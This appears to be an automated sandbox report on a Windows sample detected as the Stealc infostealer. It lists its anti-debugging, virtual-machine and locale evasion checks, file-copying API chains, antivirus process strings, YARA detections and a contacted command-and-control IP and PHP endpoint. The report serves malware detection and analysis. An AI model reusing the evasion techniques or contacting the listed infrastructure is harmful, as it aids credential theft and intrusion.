Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Found evaded block containing many API calls
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Evaded block: after key decision
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API coverage: 6.4 %
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E430
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004138B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_00414570
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00414910
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040ED20
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BE70
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DE10
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004016D0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040DA80
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00413EA0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F6B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_023EE697
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_023F3B17
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023F4B77
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_023EEF87
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_023F47D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023EE077
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EF8F1 FindFirstFileA, 0_2_023EF8F1
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EDCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_023EDCE7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_023EC0D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023E1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023E1937
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023EF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_023EF917
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_023F4107
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00401160 GetSystemInfo,ExitProcess, 0_2_00401160
Source: Amcache.hve.4.dr Binary or memory string: VMware
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000817000.00000004.00000020.00020000.00000000.sdmp, 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000817000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW"
Source: Amcache.hve.4.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 4M3JIACIWk.exe, 00000000.00000002.2280849648.000000000078E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\4M3JIACIWk.exe API call chain: ExitProcess graph end node
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0041AD48
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000 0_2_004045C0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h] 0_2_00419750
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0079E9E3 push dword ptr fs:[00000030h] 0_2_0079E9E3
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023E092B mov eax, dword ptr fs:[00000030h] 0_2_023E092B
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F99B7 mov eax, dword ptr fs:[00000030h] 0_2_023F99B7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023E0D90 mov eax, dword ptr fs:[00000030h] 0_2_023E0D90
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_00417850
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0041AD48
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0041CEEA SetUnhandledExceptionFilter, 0_2_0041CEEA
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0041B33A
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023FAFAF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_023FAFAF
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023FD151 SetUnhandledExceptionFilter, 0_2_023FD151
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023FB5A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_023FB5A1
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 4M3JIACIWk.exe PID: 4996, type: MEMORYSTR
Searches for specific processes (likely to inject)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00419600
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_023F9867 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_023F9867
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_00417B90
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_023F7DF7
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess, 0_2_00416920
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_00417850
Source: C:\Users\user\Desktop\4M3JIACIWk.exe Code function: 0_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 0_2_00417A30
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.4.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
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Yara detected Stealc
Source: Yara match File source: 0.2.4M3JIACIWk.exe.23e0e67.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4M3JIACIWk.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.4M3JIACIWk.exe.2480000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4M3JIACIWk.exe.23e0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4M3JIACIWk.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.4M3JIACIWk.exe.2480000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 4M3JIACIWk.exe PID: 4996, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality
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Yara detected Stealc
Source: Yara match File source: 0.2.4M3JIACIWk.exe.23e0e67.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4M3JIACIWk.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.4M3JIACIWk.exe.2480000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4M3JIACIWk.exe.23e0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4M3JIACIWk.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.4M3JIACIWk.exe.2480000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 4M3JIACIWk.exe PID: 4996, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1540239 Sample: 4M3JIACIWk.exe Startdate: 23/10/2024 Architecture: WINDOWS Score: 100 17 Suricata IDS alerts for network traffic 2->17 19 Found malware configuration 2->19 21 Malicious sample detected (through community Yara rule) 2->21 23 6 other signatures 2->23 6 4M3JIACIWk.exe 13 2->6         started        process3 dnsIp4 15 185.201.252.118, 49705, 80 INFRANET-ASIT Netherlands 6->15 25 Detected unpacking (changes PE section rights) 6->25 27 Detected unpacking (overwrites its own PE header) 6->27 29 Found evasive API chain (may stop execution after checking locale) 6->29 31 Searches for specific processes (likely to inject) 6->31 10 WerFault.exe 19 16 6->10         started        signatures5 process6 file7 13 C:\ProgramData\Microsoft\...\Report.wer, Unicode 10->13 dropped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.201.252.118
 unknown Netherlands
44241 INFRANET-ASIT true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.201.252.118/ true
    		unknown
    http://185.201.252.118/ef952bc0f542da4b.php true
      		unknown